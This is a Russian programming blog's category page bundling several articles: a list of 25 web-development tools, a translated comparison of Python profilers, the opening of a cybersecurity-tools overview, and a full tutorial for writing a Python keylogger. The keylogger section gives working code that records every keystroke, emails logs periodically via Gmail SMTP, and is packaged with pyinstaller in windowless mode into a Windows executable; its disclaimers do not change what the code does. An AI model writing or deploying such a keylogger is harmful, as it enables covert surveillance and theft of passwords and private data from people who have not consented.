Category: Инструменты

24
Май
2022

Jamstack: философия веб-разработки на примере Next.js

Сперва JAMstack считался лишь комбинацией JavaScript, API и MarkUp. Теперь веб-разработка Jamstack превратилась в настоящую философию.
— Читать дальше «Jamstack: философия веб-разработки на примере Next.js»

20
Май
2022

🛠️ 25 полезных малоизвестных интернет-ресурсов для фронтендера и бэкендера

Небольшой обзор интересных интернет-ресурсов в помощь специалистам цифровой индустрии: каталоги дорожных карт и шпаргалок, тесты веб-приложений, бесплатные макеты и иллюстрации, шаблоны резюме и многое другое.

Мучаетесь с каким-то новым функционалом или просто начали осваивать одну из технологий с нуля, а может, хотите узнать, где можно найти неплохие инструменты для разработки и тестирования. Хорошо, когда есть возможность где-то посмотреть нужную информацию. Мы не поленились, пробежались по сети и собрали для вас набор из нескольких десятков полезных сайтов, о которых вы, возможно, не слышали. Поехали!

1. DevDocs

Скриншот сайта DevDocs
Скриншот сайта DevDocs

Довольно неплохой архив документации практически по любой из технологий, используемых в веб-разработке, с удобной функцией поиска интересующей вас информации. Найденные файлы можно легко скачать на устройство и читать офлайн.

2. ray.so

Скриншот сайта ray.so
Скриншот сайта ray.so

С помощью сайта можно сделать красивые скриншоты различных участков кода. Здесь имеются также несколько тем оформления, под разные языки программирования и темный режим.

3. roadmap.sh

Скриншот сайта roadmap.sh
Скриншот сайта roadmap.sh

Если нужны дорожные карты и образовательные материалы по различным технологиям – вам сюда! Предложенные данные будут полезны как для начинающих, так и для тех, кому нужна конкретная информация по какому-нибудь направлению.

Больше полезных материалов вы найдете на нашем телеграм-канале «Библиотека программиста»

4. Carbon

Скриншот сайта Carbon
Скриншот сайта Carbon

Платформа с инструментами для красивого оформления кода в различных презентациях и статьях, с собственным графическим редактором для работы с изображениями.

5. MetaTags

Скриншот сайта MetaTags
Скриншот сайта MetaTags

Сайт содержит набор инструментов, позволяющих проводить различные эксперименты с вашим контентом, перед заливкой его в Twitter или LinkedIn, с функцией предварительного просмотра. С его помощью вы сможете увидеть, как будет выглядеть ваша страница в социальных сетях, до публикации поста.

6. LabmdaTest

Скриншот сайта LabmdaTest
Скриншот сайта LabmdaTest

С помощью этой облачной платформы можно тестировать любое веб-приложение почти на всех современных браузерах, операционных системах и устройствах как вручную, так и автоматически.

7. Small Dev Tools

Скриншот сайта Small Dev Tools
Скриншот сайта Small Dev Tools

Сайт с классными штуками для разработчиков, где можно найти различные: кодировщики или декодировщики, форматеры HTML/CSS/JavaScript, модификаторы, генераторы данных и прочий полезный функционал, с возможностью обмена кодом с коллегами.

8. resume.io

Скриншот сайта resume.io
Скриншот сайта resume.io

Если хотите создать себе профессиональное резюме – то вам сюда. Это ресурс с множеством готовых шаблонов, с различными вариантами цветового оформления и красивыми шрифтами, легко можно использовать для любой анкеты.

9. daily.dev

Скриншот сайта daily.dev
Скриншот сайта daily.dev

Новостной агрегатор из мира IT, собирающий лучшие публикации с разнообразных медиа и публикующий их в ленте. Можно добавить его в виде расширения в ваш браузер.

10. Showwcase

Скриншот сайта Showwcase
Скриншот сайта Showwcase

Соцсеть, аналог LinkedIn, но только для айтишников. Здесь разработчики смогут поделиться своими навыками, опытом и различного рода, проектами со своими друзьями или коллегами. Причем тот, кто создал наиболее качественный контент, может заработать здесь на платных подписках.

11. CSS-Tricks

Скриншот сайта CSS-Tricks
Скриншот сайта CSS-Tricks

Ресурс, ежедневно публикующий полезные материалы о технологиях, связанных с веб-разработкой (CSS, HTML, JS) .

12. Medusa

Скриншот сайта Medusa
Скриншот сайта Medusa

Бесплатный опенсорсный аналог Shopify с настраиваемым headless-движком, полезный для всех, кто работает в сфере электронной коммерции.

13. SmartMockups

Скриншот сайта SmartMockups
Скриншот сайта SmartMockups

Площадка для создания макетов высокого качества (разрешения) непосредственно в интернет-браузере, а также на разных девайсах при помощи грамотно созданного интерфейса. Это один из самых быстрых бесплатных веб-инструментов для разработки веб-прототипов, не требующий особых знаний, с большой библиотекой классных шаблонов.

14. Profile Pic Maker

Скриншот сайта Profile Pic Maker
Скриншот сайта Profile Pic Maker

Инструмент, позволяющий создавать и обрабатывать фотографии профиля разработчика, для профессиональных соцсетей. У него довольно простой функционал, с которым разберется даже школьник – ничего лишнего. Загружаем фото → редактируем → скачиваем.

15. Storytale

Скриншот сайта Storytale
Скриншот сайта Storytale

Ресурс с множеством различных иллюстраций на любые темы. Эти изображения легко интегрировать в свой проект или просто использовать в личных целях.

16. readme.so

Скриншот сайта readme.so
Скриншот сайта readme.so

Веб-сайт, с помощью которого легко разработать любой README-проект, быстро добавив и настроив все нужные вам разделы.

17. Peppertype

Скриншот сайта Peppertype
Скриншот сайта Peppertype

Качественно-сделанный цифровой помощник по производству контента, инструменты которого разработаны на основе машинного обучения, с применением искусственного интеллекта, автоматизирующего все процессы создания задуманного. Программа проводит анализ бизнес-операций юзера, определяет правильный бренд и целевую аудиторию и на основе всего этого уже выводит нужный контент.

18. synthesia

Скриншот сайта synthesia
Скриншот сайта synthesia

Площадка по созданию видеороликов при помощи ИИ, поддерживающая почти 50 языков мира. Здесь для производства видео, вам не понадобятся ни камера с микрофоном, ни даже сам пользователь. Все, что вам нужно это загрузить необходимый текстовый сценарий, а программа выдаст вам фильм, созданный искусственным интеллектом.

19. ProgrammerHumor

Скриншот сайта ProgrammerHumor
Скриншот сайта ProgrammerHumor

Если вы устали от повседневной рутинной работы и хотите немного отдохнуть – вам сюда. На этом ресурсе выкладывают различные мемы и приколы из мира информационных технологий.

20. Code Beautify

Скриншот сайта Code Beautify
Скриншот сайта Code Beautify

Сайт с инструментами, позволяющими улучшить ваш код. Довольно простая в использовании штука, где все, что нужно сделать – это, выбрав язык программирования, ввести нужный участок исходного кода и немного подождать, пока искусственный интеллект программы не сделает его более привлекательным и удобочитаемым.

21. overAPI

Скриншот сайта overAPI
Скриншот сайта overAPI

Этот ресурс содержит огромное количество различных шпаргалок по самым популярным технологиям.

22. Responsively

Скриншот сайта Responsively
Скриншот сайта Responsively

Еще один полезный общедоступный веб-ресурс, позволяющий проверить внешний вид вашего сайта на различных устройствах, и тем самым сэкономить время разработки в несколько раз.

23. Color Hunt

Скриншот сайта Color Hunt
Скриншот сайта Color Hunt

Набор инструментов, помогающий дизайнеру сформировать палитру цветов. Принцип работы сервиса довольно простой: вы указываете ссылку на изображение с нужным сочетанием цветов, или прописываете теги для подбора необходимой схемы. После анализа данных приложение выдаст вам наиболее подходящий результат, который вы можете добавить себе в папку.

24. Logo Ipsum

Скриншот сайта Logo Ipsum
Скриншот сайта Logo Ipsum

При помощи этого замечательного ресурса легко создавать рандомные логотипы для ваших проектов.

25. Undesign


Здесь вы найдете огромную подборку различных полезных штук для фронтендеров. От сниппетов кода, цветов, градиентов и шрифтов до различных иконок и анимации.

***

Если вы не заметили в нашей подборке еще одного хорошего веб-сайта, без которого не мыслите своей жизни, не стесняйтесь поделиться им в комментариях. Удачи!

Материалы по теме

12
Май
2022

👨‍💻 Как грамотное программирование научит вас писать качественный код

Кажется довольно очевидным, но код пишется не только для компьютеров: он пишется и для людей. Упущение этого факта может обернуться дальнейшими проблемами. Рассказываем, что такое грамотное программирование и как писать качественный код.

06
Май
2022

Подводные камни при переходе на российское программное обеспечение

Определили сложности, которые ждут IT-специалистов и пользователей при переходе на российское программное обеспечение.
— Читать дальше «Подводные камни при переходе на российское программное обеспечение»

05
Май
2022

🕵 Пишем кейлоггер на Python для Windows за 5 минут

Руководство по созданию кейлоггера на Python, который записывает нажатия клавиш с клавиатуры и отправляет их по электронной почте или сохраняет в файл журнала.

Этот материал публикуется исключительно в ознакомительных целях. Автор и редакция категорически против неэтичного использования программного кода, приведенного ниже для слежки, шпионажа, хищения данных и других возможных злоупотреблений. Автор и редакция не несут ответственность за негативные последствия использования этого материала.

Что такое кейлоггер и зачем он нужен

Кейлоггер – это программа, предназначенная для записи ввода с клавиатуры. Кейлоггинг можно использовать для изучения динамики нажатия клавиш (.pdf), взаимодействия человека с компьютером, сохранения и анализа информации при вводе. Скажем, когда вы много работаете с текстом, кейлоггер может помочь собрать информацию о скорости ввода, продуктивности за определенный период времени и прочее. С другой стороны, кейлоггеры часто используют хакеры для кражи паролей и другой конфиденциальной информации.

Подготовка: устанавливаем Python и библиотеки

Для начала нам потребуется установить Python. Если это уже сделано, можете смело пропустить этот абзац и переходить к установке библиотеки. В противном случае скачайте и установите подходящий релиз с официальной страницы языка. В данном руководстве мы будем использовать версию Python 3.9, но, по сути, подойдет любая версия.

Кроме этого, нам понадобится библиотека keyboard. Она позволяет контролировать и регистрировать ввод с клавиатуры.

Ставим библиотеку простой командой в терминале:

        pip3 install keyboard
    

Пишем кейлоггер

Наш кейлоггер будет слушать и записывать в строковую переменную нажатия клавиш в фоновом режиме и отправлять содержимое через заданные интервалы в локальный файл или на email.

Импорт библиотек

Начнем с импорта необходимых библиотек:

        import keyboard 
import smtplib #для отправки электронной почты по протоколу SMTP (gmail)
#Таймер для запуска через заданный «интервал» времени.
from threading import Timer
from datetime import datetime
    

Если вы хотите отправлять логи по электронной почте, следует настроить учетную запись Gmail и убедиться, что в учетной записи:

Рекомендуется создавать отдельный адрес электронной почты отличный от основного, так как код содержит ваш пароль в открытом виде, который используется для отправки сообщений.

Больше полезных материалов вы найдете на нашем телеграм-канале «Библиотека хакера»

Инициализируем параметры

        SEND_REPORT_EVERY = 60 #время в секундах
EMAIL_ADDRESS = "[email protected]"
EMAIL_PASSWORD = "notmypassword"
    

Тут необходимо указать корректные учетные данные Gmail, иначе отчет по электронной почте не будет работать.

Создаем класс и методы

Лучший способ представить кейлоггер – создать для него класс, и каждый метод в этом классе выполняет определенную задачу:

        class Keylogger:
    def __init__(self, interval, report_method="email"):
        # передаем SEND_REPORT_EVERY в интервал
        self.interval = interval
        self.report_method = report_method
        # это строковая переменная, которая содержит лог
        self.log = ""
        #запись начала и окончания даты и времени
        self.start_dt = datetime.now()
        self.end_dt = datetime.now()
    

Мы установили в качестве метода отправки по умолчанию значение email, что указывает на то, что мы будем отправлять кейлоги на электронную почту. В качестве альтернативы мы сможем просто записывать их в файл.

Используем функцию клавиатуры on_release(), которая принимает обратный вызов.

        def callback(self, event):
        name = event.name
        if len(name) > 1:
            #не символ, специальная клавиша (например, ctrl, alt и т. д.)
            #верхний регистр
            if name == "space":
                #" " вместо пробелов
                name = " "
            elif name == "enter":
                #добавлять новую строку всякий раз, когда нажимается ENTER
                name = "[ENTER]\n"
            elif name == "decimal":
                name = "."
            else:
                #замените пробелы символами подчеркивания
                name = name.replace(" ", "_")
                name = f"[{name.upper()}]"
        #добавить имя ключа в глобальную переменную
        self.log += name
    

Пишем метод для записи в локальный файл

        def update_filename(self):
        #создать имя файла, которое будет идентифицировано по дате начала и окончания записи
        start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
        end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
        self.filename = f"keylog-{start_dt_str}_{end_dt_str}"

    def report_to_file(self):
        # создать файл
        with open(f"{self.filename}.txt", "w") as f:
            # записать лог
            print(self.log, file=f)
        print(f"[+] Saved {self.filename}.txt")

    

Отправка на email

         def sendmail(self, email, password, message):
        # управляет подключением к SMTP-серверу
        server = smtplib.SMTP(host="smtp.gmail.com", port=587)
        # подключиться к SMTP-серверу в режиме TLS
        server.starttls()
        # логин
        server.login(email, password)
        # отправить сообщение
        server.sendmail(email, email, message)
        # завершает сеанс
        server.quit()
    

Если при отправке лога на email, консоль выдает ошибку вроде UnicodeEncodeError: 'ascii' codec can't encode character, откройте библиотеку smtplib.py по адресу C:\Users\user\AppData\Local\Programs\Python\Python39\Lib\, найдите строку msg = _fix_eols(msg).encode('ascii') и замените ее на msg = _fix_eols(msg).encode('utf8'). Ошибка связана с тем, что кодировка ASCII не может преобразовать в байты кириллицу.

Сообщаем лог через заданные промежутки времени

         def report(self):
        if self.log:
            self.end_dt = datetime.now()
            # обновить `self.filename`
            self.update_filename()
            if self.report_method == "email":
                self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
            elif self.report_method == "file":
                self.report_to_file()
            self.start_dt = datetime.now()
        self.log = ""
        timer = Timer(interval=self.interval, function=self.report)
        timer.daemon = True
        # старт
        timer.start()
    

Давайте определим метод on_release():

        def start(self):
        #записать дату и время начала
        self.start_dt = datetime.now()
        #запустить кейлогер
        keyboard.on_release(callback=self.callback)
        self.report()
        keyboard.wait()

    

Мы закончили с классом Keylogger, теперь нужно создать экземпляр этого класса:

        if __name__ == "__main__":
    # для отправки по email раскомментировать строку ниже и закомментировать строку с report_method="file"
    # keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email")
    # для записи в локальный файл оставляем как есть
    keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file")
    keylogger.start()
    

Использование

Чтобы встроить наш скрипт в исполняемый файл, вы можете воспользоваться библиотекой с открытым исходным кодом Pyinstaller. Для этого ставим саму библиотеку:

        pip3 install pyinstaller
    

И собираем все в файл:

        pyinstaller --onefile -w 'keylogger.py'
    

На выходе получаем файл с расширением .exe, который можно использовать на любом компьютере под управлением Windows.

Повторяем, мы категорически против неэтичного использования этого кода и просим обязательно уведомить всех пользователей компьютера, где вы будете запускать данное ПО.

Материалы по теме

04
Май
2022

React 18: новые хуки и как изменился рендеринг

Всё об обновлении React 18: автоматический батчинг, конкурентный режим, изменения в архитектуре рендеринга на стороне сервера и новые хуки.
— Читать дальше «React 18: новые хуки и как изменился рендеринг»

22
Апр
2022

🐍 Как ускорить код на Python: выбираем инструмент для оптимизации производительности программы

В этой статье мы рассмотрим различные профилировщики (cProfile, Pyinstrument, Eliot) и обсудим их плюсы и минусы, а также когда и где их лучше применить.

Данная статья является переводом. Ссылка на оригинал.

Ваша Python-программа слишком медленная. Возможно, ваше веб-приложение не поспевает за ним, или некоторые запросы выполняются слишком долго. Возможно, у вас есть командный файл, выполнение которого занимает часы или даже дни.

Что вы сделаете для ускорения работы программы?

Вы, вероятно, сделаете следующее:

1. Выберите подходящий инструмент (программное средство) для измерения скорости.

2. Используете инструмент для поиска «узкого места».

3. Устраните «узкое место».

В этой статье основное внимание будет уделено первому шагу: выбору правильного инструмента. И, в частности, он будет включать в себя:

  • cProfile: детерминированный профайлер стандартной библиотеки Python.
  • Pyinstrument: профилировщик выборки.
  • Eliot: библиотека логирования.

Я не буду вдаваться в подробности о том, как использовать эти инструменты, потому что задача состоит в том, чтобы помочь вам выбрать правильный. Но я объясню, что делают эти инструменты, а также когда и почему нужно выбрать тот или иной.

Больше полезных материалов вы найдете на нашем телеграм-канале «Библиотека питониста»

1. cProfile: Детерминированный профайлер

Профилировщик cProfile встроен в Python, поэтому вы, вероятно, слышали о нем, и, возможно, это тот инструмент, который вы используете по умолчанию. Он работает, отслеживая каждый вызов функции в программе. Вот почему это детерминированный профилировщик: если вы запустите его с теми же входными данными, он даст тот же результат.

По умолчанию cProfile отсчитывает системное время — сколько времени прошло за период работы функции. Это означает, что он может измерять одновременно и скорость работы процессора, и другие проблемы, такие как спящий режим или конфликты при блокировках. Вы всегда должны задаваться вопросом что измеряет ваш профилировщик, потому что разные измерения могут обнаруживать разные проблемы.

Хотя cProfile доступен по умолчанию в Python, у него также есть некоторые недостатки — и, как вы увидите чуть позже, вы вряд ли захотите его использовать для большинства случаев.

Использование cProfile

Использовать cProfile довольно просто. Если у вас есть скрипт, то, скорее всего, вы запустите его так:

1
        $ python benchmark.py
7855 messages/sec
    

Затем вы можете просто добавить префикс python -m cProfile и запустить его с профилировщиком:

2
        $ python -m cProfile benchmark.py
1444992 function calls (1443814 primitive calls) in 1.208 seconds

Ordered by: cumulative time

ncalls  tottime  percall  cumtime  percall filename:lineno(function)
     1    0.000    0.000    1.208    1.208 benchmark.py:7(<module>)
     1    0.048    0.048    1.151    1.151 benchmark.py:21(run)
 50000    0.031    0.000    0.657    0.000 _output.py:182(write)
 50000    0.045    0.000    0.618    0.000 _output.py:73(send)
 50000    0.064    0.000    0.566    0.000 _output.py:452(__call__)
... a million more lines of output ...
    

Существует также профилирование для Python API, поэтому вы можете профилировать определенные функции в запросе интерпретатора Python или в Jupyter notebook.

Выходной формат представляет собой таблицу, что не совсем удобно: каждая строка является результатом вызова функции, которая выполнялась в течение профилируемого промежутка времени, однако вы не знаете, как этот вызов связан с вызовами других функций. Поэтому, если у вас есть функция, которую можно вызвать с помощью нескольких путей выполнения кода, могут возникнуть сложности с определением, какой именно блок кода отвечает за вызов медленной функции.

Что cProfile может вам сказать

Если вы посмотрите на таблицу выше, то увидите, что:

  • _output.py(__call__) вызвали 50 000 раз. У нас получилось четное число, потому что это тестовый скрипт, который запускает один и тот же код в цикле 10 000 раз. Если вы не вызывали функцию намеренно множество раз, то это может быть полезно для определения большого количества вызовов для выявления занятых внутренних циклов.
  • _output.py(send) работал в течение 0.618 секунд (включая время, затраченное на вызываемые им функции) и 0.045 секунд (не считая вызываемых им функций).

Используя эту информацию, вы можете определить медленные функции, которые можно оптимизировать.

Как это работает

cProfile проводит измерение для каждого вызова функции. В частности, вызов функции во время ее выполнения выглядит следующим образом:

        start = time()
try:
    f()
finally:
    elapsed = time() - start
    

Профилировщик записывает время в начале и в конце. Полученная разница является временем работы функции.

Проблемы с cProfile

Хотя cProfile всегда доступен при любой установке Python, он также имеет ряд существенных проблем.

Проблема №1: Высокие затраты вычислительных ресурсов и искаженные результаты

Как вы понимаете, выполнение дополнительной работы для каждого вызова функции требует определенных затрат:

4
        $ python benchmark.py
7855 messages/sec

$ python -m cProfile benchmark.py
5264 messages/sec
... cProfile output ...
    

Обратите внимание, насколько медленно работает cProfile. И что еще хуже, замедление происходит неравномерно для всей программы: поскольку оно связано с количеством вызовов функций, блоки вашего кода с большим количеством таких вызовов будут замедляться еще больше. Таким образом, эти накладные расходы могут исказить результат.

Проблема №2: Слишком много информации

Если вы помните, выходные данные cProfile, которые мы видели выше, содержат строку для каждой отдельной функции, которая была вызвана во время выполнения программы. Большинство данных вызовов функций не имеют отношения к нашей проблеме с производительностью: они выполняются быстро и только один или два раза.

Поэтому, когда вы читаете выходные данные cProfile, вы имеете дело с большим количеством шума, который мешает распознать сигнал.

Проблема № 3: Измерение результатов работы на локальном компьютере

Довольно часто ваша программа будет работать медленно только в реальных условиях с реальными входными данными. Возможно, только определенные запросы пользователей замедляют работу вашего веб-приложения, и вы не знаете какие именно. Возможно, ваш командный файл работает медленно только с реальными данными.

Но cProfile, как мы видели, немного замедляет вашу программу, и поэтому вы, вероятно, не захотите запускать его в своем рабочем проекте. Таким образом, в то время как низкая скорость работы появляется только при работе с реальными проектами, cProfile может быть полезен только на стадии разработки.

Проблема № 4: Производительность измеряется только для функций

cProfile может сообщить вам о том, что «slowfunc() работает медленно», когда он усредняет все входные данные для этой функции. И это нормально, если функция сама по себе всегда медленная.

Но иногда у вас есть алгоритмический код, который работает медленно только при определенных входных данных. Вполне возможно, что:

  • slowfunc(100) выполняется быстро.
  • slowfunc(0) выполняется медленно.

cProfile не сможет сказать вам, какие входные данные вызвали замедление работы, что может затруднить диагностику проблемы.

cProfile: Его, как правило, недостаточно

Обобщая все недостатки, cProfile не должен быть вашим предпочтительным инструментом для повышения производительности. Поэтому далее мы поговорим о его двух альтернативах:

  • Pyinstrument решает проблемы №1 и №2.
  • Eliot решает проблемы №3 и №4.

2. Pyinstrument: Профилировщик выборки

Pyinstrument решает две проблемы, которые мы рассмотрели выше, а именно:

  • Затраты вычислительных ресурсов меньше, чем у cProfile, при этом результаты не искажаются.
  • Он отфильтровывает ненужные вызовы функций, поэтому шума становится меньше.

Pyinstrument измеряет системное время, а не процессорное, поэтому он также может фиксировать замедление, вызванное сетевыми запросами, записью на диск, конфликтом блокировок и т. д.

Как вы можете его использовать

Использование Pyinstrument аналогично cProfile — просто добавьте префикс к вашему скрипту:

7
        $ python benchmark.py
7561 messages/sec

$ python -m pyinstrument benchmark.py
6760 messages/sec
... pyinstrument output ...
    

Обратите внимание, что у него есть некоторые накладные расходы, но не такие большие, как у cProfile, при этом затраты вычислительных ресурсов распределены равномерно.

Pyinstrument также поддерживает API Python, так что вы можете использовать его для профилирования определенных фрагментов кода в интерактивном интерпретаторе Python или блокноте Jupyter.

Выходные данные

На выходе Pyinstrument представляет собой дерево вызовов, измеряющее системное время:

8
        1.506 <module>  benchmark.py:7
├─ 1.477 run  benchmark.py:21
│  ├─ 0.604 attach  myapp/_code.py:52
│  │  └─ 0.598 write  myapp/_code.py:130
│  │     ├─ 0.557 final_write  myapp/_foo.py:181
...
    

В отличие от построчной функции cProfile, Pyinstrument дает вам дерево вызовов функций, поэтому вы можете получить информацию о скорости работы. Функция может появляться несколько раз, если низкая скорость работы вызвана несколькими путями выполнения кода.

В результате вывод Pyinstrument намного проще интерпретировать, ведь он предоставляет более подробное понимание структуры производительности вашей программы, чем вывод cProfile по умолчанию.

Как это работает (кошачья версия)

Представьте, что у вас есть кошка. Вы хотите знать, как эта кошка проводит свое время.

Вы могли бы непрерывно шпионить за ней, но это был бы весьма трудоемкий процесс. Поэтому вместо этого вы решаете периодически делать «замеры»: каждые 5 минут вы заглядываете в комнату, где находится кошка, и записываете, что она делает.

Например:

  • 12:00: Спит 💤
  • 12:05: Спит 💤
  • 12:10: Ест 🍲
  • 12:15: Использует лоток 💩
  • 12:20: Спит 💤
  • 12:25: Спит 💤
  • 12:30: Спит 💤

Через несколько дней можно подвести итоги своих наблюдений:

  • 80%: Спит 💤
  • 10%: Ест 🍲
  • 9%: Использует лоток 💩
  • 1%: С тоской смотрит в окно на птиц 🐦

Итак, насколько точно это наблюдение? Поскольку ваша цель — изучить, где кошка проводит большую часть своего времени, информационная сводка, вероятно, будет точной. И чем чаще проводятся наблюдения (==измерения) и чем больше наблюдений вы сделаете, тем точнее будет сводка.

Если ваша кошка проводит большую часть своего времени во сне, вы ожидаете, что большинство выборочных наблюдений покажут, что она спит. И да, вы пропустите некоторые быстрые и редкие действия, но для целей «на что кошка тратила большую часть своего времени» эти быстрые и редкие действия не имеют значения.

Как это работает (программная версия)

Как и наш кот, Pyinstrument периодически наблюдает за поведением Python-программы: каждую 1 мс он проверяет, какая функция запущена в данный момент. Это означает:

  • Если функция кумулятивно медленная, она будет появляться часто.
  • Если функция кумулятивно быстрая, мы, как правило, ее вообще не увидим.

Это означает, что в нашей сводке производительности меньше шума: функции, которые почти не используются, в основном будут отсутствовать. Но в целом сводка довольно точна с точки зрения того, как программа потратила свое время, если мы произвели достаточное количество записей наблюдений.

3. Eliot: Библиотека логирования

Последним инструментом, который мы подробно рассмотрим, является Eliot, написанная мной библиотека логирования. Она решает оставшиеся две проблемы, которые мы видели в cProfile:

  • Логирование можно использовать в продакшене.
  • Логирование может записывать аргументы для функций.

Как вы видите, Eliot предоставляет некоторые уникальные возможности, которые делают лучше его запись производительности, чем у обычных библиотек логирования. При этом, проделав некоторую дополнительную работу, вы можете получить те же преимущества и от других библиотек ведения логов.

Добавление логирования в существующий код

Рассмотрим следующий набросок программы:

8
        def add(a, b):
    # ... implementation ...
    
def multiply(a, b):
    # ... implementation ...

def multiplysum(a, b, c):
    return multiply(add(a, b), c)

print(multiplysum(1, 2, 4))
    

Мы можем взять этот код и добавить к нему логирование:

        from eliot import log_call, to_file
to_file(open("out.log", "w"))

@log_call
def add(a, b):
    # ... implementation ...

@log_call
def multiply(a, b):
    # ... implementation ...
# etc.
Specifically, we do two
    

В частности, мы делаем две вещи:

  1. Сообщаем Eliot куда выводить сообщения журнала (в данном случае это файл с именем out.log).
  2. Добавляем декоратор функции @log_call. Это позволяет зарегистрировать факт вызова функции, ее аргументы и возвращаемое значение (или возникшее исключение).

У Eliot есть другие, более детализированные API, но @log_call достаточно для демонстрации преимуществ ведения журнала логов.

Выходные данные Eliot

Как только мы запустим программу, мы сможем просмотреть журналы с помощью инструмента под названием eliot-tree:

9
        $ python calc.py
12
$ eliot-tree out.log
─── multiplysum (inputs a=1 b=2 c=4) ⧖ 10.0s
    ├── add (inputs a=1 b=2) ⧖ 1.0s
    │   └── result: 3
    ├── multiply (inputs a=3 b=4) ⧖ 9.0s
    │   └── result: 12
    └── result: 12
    

Обратите внимание на сходство с Pyinstrument – дерево действий. Я немного упростил вывод — изначально так, чтобы он поместился на слайде, который я использовал в статье для доклада, — но даже в этой версии этого достаточно, чтобы оценить производительность.

У Eliot каждое действие имеет начало и конец и может запускать другие действия, в результате чего получается дерево. Поскольку мы знаем, когда начинается и заканчивается каждое зарегистрированное действие, мы также знаем, сколько времени оно заняло.

В этом случае каждое действие сопоставляется с вызовом функции в отношении один к одному. И есть некоторые отличия от вывода Pyinstrument:

  1. Вместо объединения нескольких вызовов функций вы видите каждый вызов отдельно от других.
  2. Вы можете видеть аргументы и возвращаемый результат каждого вызова.
  3. Вы можете увидеть прошедшее системное время для каждого действия.

Например, вы можете видеть, что multiplysum() заняло 10 секунд, но больше всего времени было потрачено на multiply(), с входными данными 3 и 4. Таким образом, вы сразу знаете, что для оптимизации производительности нужно сосредоточиться на multiply(), и у вас есть некоторые начальные входные данные (3 и 4), чтобы поиграть ими и посмотреть на изменения.

Ограничения ведения журнала

Логирование само по себе не является достаточным источником информации о производительности.

Во-первых, вы получаете информацию только из кода, в который вы явно добавили вызовы ведения журнала. Профилировщик может работать с любым произвольным фрагментом кода без предварительной подготовки, но с логированием вам придется проделать некоторую работу заранее.

Если вы не добавили код ведения журнала, вы не получите никакой информации. Eliot делает это немного лучше, поскольку структура дерева действий дает вам некоторое представление о том, где было потрачено время, но этого все же недостаточно, если логирование слишком редкое.

Во-вторых, вы не можете добавлять логирование везде, потому что это замедлит вашу программу. Ведение журнала влечет за собой накладные расходы — это требует больше затрат, чем у cProfile. Поэтому вам нужно добавлять его разумно, в ключевые моменты, где он будет максимизировать информацию, которую он дает, не влияя на производительность.

4. Правильный выбор инструментов

Итак, когда вы должны использовать каждый инструмент?

Всегда добавляйте ведение журнала

Любая нетривиальная программа, вероятно, нуждается в некотором логировании, хотя бы для того, чтобы отлавливать баги и ошибки. И если вы уже добавляете ведение журнала, вы также можете позаботиться о том, чтобы регистрировать информацию, необходимую для отладки производительности.

Eliot делает это проще, поскольку регистрация действий по своей сути предоставляет вам информацию о затраченном время. Однако, приложив усилия, вы можете сделать это для любой библиотеки логирования.

После этого используйте профилировщик выборки, такой как Pyinstrument.

Ведение журнала может помочь вам определить конкретное место, где ваша программа работает медленно, и, по крайней мере, некоторые входные данные, вызывающие замедления, но этого часто недостаточно. Итак, следующим шагом будет использование профилировщика, в частности, профилировщика выборки, такого как Pyinstrument:

  • Имеет низкие накладные расходы и, что более важно, не искажает результаты.
  • Измеряет системное время, поэтому можете не беспокоиться, что CPU является «узким местом».
  • Выводит только медленные функции, опуская нерелевантные быстрые функции.

Используйте cProfile, если вам нужна индивидуальная метрика затрат

Если вам когда-нибудь понадобится написать собственный профилировщик, cProfile позволит вам подключить различные функции затрат, что делает его простым инструментом для измерения более необычных показателей.

Вы можете измерить:

  • Только CPU.
  • Не только CPU, но и все время, потраченное на ожидание событий, не связанных с CPU.
  • Количество добровольных переключений контекста, т.е. количество системных вызовов, которые занимают много времени.
  • Распределение памяти.
  • В более широком смысле, также можно произвести замеры любого увеличивающегося счетчика.

5. TL;DR

В качестве хорошей отправной точки для работы с инструментами оптимизации производительности я предлагаю вам следующий алгоритм:

  1. Зарегистрируйте ключевые входы и выходы, а также прошедшее время ключевых действий, используя Eliot или какую-либо другую библиотеку регистрации.
  2. Используйте Pyinstrument или другой профилировщик выборки в качестве профилировщика по умолчанию.
  3. Используйте cProfile, если вам нужен собственный профайлер.
***

Из этой статьи мы узнали:

  1. Что собой представляют cProfile, Pyinstrument и Eliot.
  2. Обсудили их плюсы и минусы.
  3. Узнали как лучше комбинировать работу профилировщиков.

Материалы по теме

07
Мар
2022

⌨️ ТОП-30 рабочих аналогов заблокированного иностранного ПО. Опенсорсная и российская замена иностранного ПО и приложений

В небольшом обзоре разберем достойные варианты отечественного и опенсорсного ПО разной направленности: операционные системы, САПР, IDE, антивирусы, редакторы графики и офисные программы.

06
Фев
2022

🕵 Лучшие инструменты для специалиста по кибербезопасности в 2022 году

На вооружении у специалиста по кибербезопасности масса инструментов: сканеры веб-уязвимостей, программы для аудита паролей, анализа пакетов, пентеста, шифрования и многое другое. Поговорим о самых лучших и актуальных из них.

Сегодня информационная безопасность является приоритетной задачей в большинстве компаний. Инновационные технологии и их использование в каждой области нашей жизни ведут к повышению уровня киберпреступлений.

Успешные атаки наносят порой непоправимый ущерб предприятию – финансовые убытки, компрометация данных компании и ее клиентской базы, и, как следствие, ущерб репутации.Помимо этого, немаленькие судебные издержки и простои предприятия из-за длительных тяжб.

Поэтому каждый руководитель стремится внедрить в структуру своего бизнеса самые эффективные и оптимальные средства управления информационной безопасностью. Постоянный мониторинг сети позволяет предупредить атаки злоумышленников и сохранить свои конфиденциальные данные. Это небольшой, но емкий обзор самых лучших инструментов, которые должны быть у каждого специалиста по информационной безопасности (далее – ИБ).

Инструменты для мониторинга сетевой безопасности

Argus

Argus
Argus

Инструмент информационной безопасности на базе открытого исходного кода, который чаще всего используется в анализе трафика сети. Название Argus – аббревиатура Audit Record Generation and Utilization System (система формирования и использования аудиторских записей).

Задача Argus заключается в проведении углубленного анализа информации, которая находится и перемещается в сети. У этого инструмента достаточно мощности для мониторинга больших объемов трафика и предоставления полных актуальных отчетов.

Nagios

Nagios
Nagios

Помогает специалистам по ИБ мониторить и управлять сетью, подключенными хостами и системой клиента удаленно в режиме реального времени. Пользователь получает уведомление о возможной кибератаке при обнаружении подозрительной активности и такие предупреждения клиент может настроить «под себя». Инструмент отслеживает большинство популярных служб – SMTP, NNTP, ICMP, POP3, HTTP и многие другие.

Больше полезной информации вы можете найти на нашем телеграм-канале «Библиотека хакера»

OSSEC

